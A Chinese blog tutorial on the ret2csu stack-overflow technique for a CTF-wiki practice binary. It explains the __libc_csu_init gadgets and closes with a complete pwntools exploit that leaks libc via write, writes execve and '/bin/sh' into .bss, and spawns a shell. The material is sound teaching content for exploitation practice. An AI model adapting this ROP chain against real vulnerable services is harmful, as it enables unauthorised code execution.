中级栈溢出01 ret2csu
x86和x64的区别:
x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上,x64的第一个返回值是rax,如果有第二个返回值则是rdx
万能gadget:
通常我们想调用某些函数时很难找到全部的gadget,但是有人发现了一个“万能gadget”,就在64位程序里边有个__libc_csu_init()这个函数时初始化动态链接库的,基本上都会有这个函数。这个函数里有俩个gadget,通过精心安排栈结构就可以控制参数传输。
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 ; } // starts at 4005C0 .text:0000000000400624 __libc_csu_init endp
先看第二段gadget:也就是loc_400616,我们可以看出程序先删除了8个字节的空间(我们需要额外填充8字节),然后才是对各个寄存器的赋值。我们可以控制rbx,rbp,r12.r13.r14,r15。然后就是一个ret指令,这意味着我们需要填一个地址,即可以在此处调用一个函数,注意这是汇编里边的call指令调用,不需要管返回值的事。
然后看第一段gadget:也就是loc_400600。我们通过汇编指令可以看出rdx就是r13的内容,rsi就是r14的内容。对于rdi我们只能控制它的低32位,其高32位为0,这也可以做很多事情了。如果我们在gadget2中将rbx设为0,那么r12就是一个指针!由于rbx被设置为0,在call r12后连着三条指令就是:
//伪代码 rbx=rbx+1 if(rbx==rbp) { loc_400616(); } else { local_400600(); }
因为前边我们已经把rbx设置为0了,经过加一后rbx已经等于1,所以我们需要将rbp设置为1,否则就卡死在loc_400600这个循环里了。
总结一下各个寄存器的关系:

再结合x64传参的寄存器我们知道我们至少可以直接控制前三个参数,这对绝大部分函数已经足够了。
payload构造:
用到的程序是CTFwiki的程序,我们发现got表里有__libc_start_main和write函数,我们需要先泄露got表里的地址方便确认libc版本(虽然程序附带了一个libc.so.6文件)。怎么泄露其真实地址哪?查一查got表里有read和wite函数!输出当然是用write(1,write_got,8)。
这就有了我们的第一个payload。

第二个payload:
我们通过泄露write的函数的地址的得到了libc的版本,从而可以计算出system和/bin/sh的地址了,当然我们可以直接输入一个“/bin/sh”,为了简单我们选择自己输入一个。然后我们就可以将system的地址和“/bin/sh”写入.bss段里了。

第三次payload:
可以执行system("/bin/sh")了

哎?这三次的的栈结构都差不多,我们写exploit的时候能不能写个函数?
exploit:
from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' level5 = ELF('./level5') sh = process('./level5') write_got = level5.got['write'] read_got = level5.got['read'] libc_start = level5.got['__libc_start_main'] main_addr = level5.symbols['main'] bss_base = level5.bss() csu_front_addr = 0x0000000000400600 csu_end_addr = 0x000000000040061A fakeebp = b'b' * 8 #0,1,调用的函数,第三参数,第二参数,第一参数,返回地址 def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 0x80*b'A' + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1) sh.recvuntil(b'Hello, World\n') # RDI, RSI, RDX, RCX, R8, R9, more on the stack # write(1,write_got,8) #csu(0, 1, write_got, 8, write_got, 1, main_addr) csu(0, 1, write_got, 8, libc_start, 1, main_addr) write_addr = u64(sh.recv(8)) print("write_got:%#x"%write_addr) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') execve_addr = libc_base + libc.dump('execve') log.success('execve_addr ' + hex(execve_addr)) #gdb.attach(sh) # read(0,bss_base,16) # read execve_addr and /bin/sh\x00 sh.recvuntil(b'Hello, World\n') csu(0, 1, read_got, 16, bss_base, 0, main_addr) sh.send(p64(execve_addr) + b'/bin/sh\x00') sh.recvuntil(b'Hello, World\n') # execve(bss_base+8) csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr) sh.interactive()

浙公网安备 33010602011771号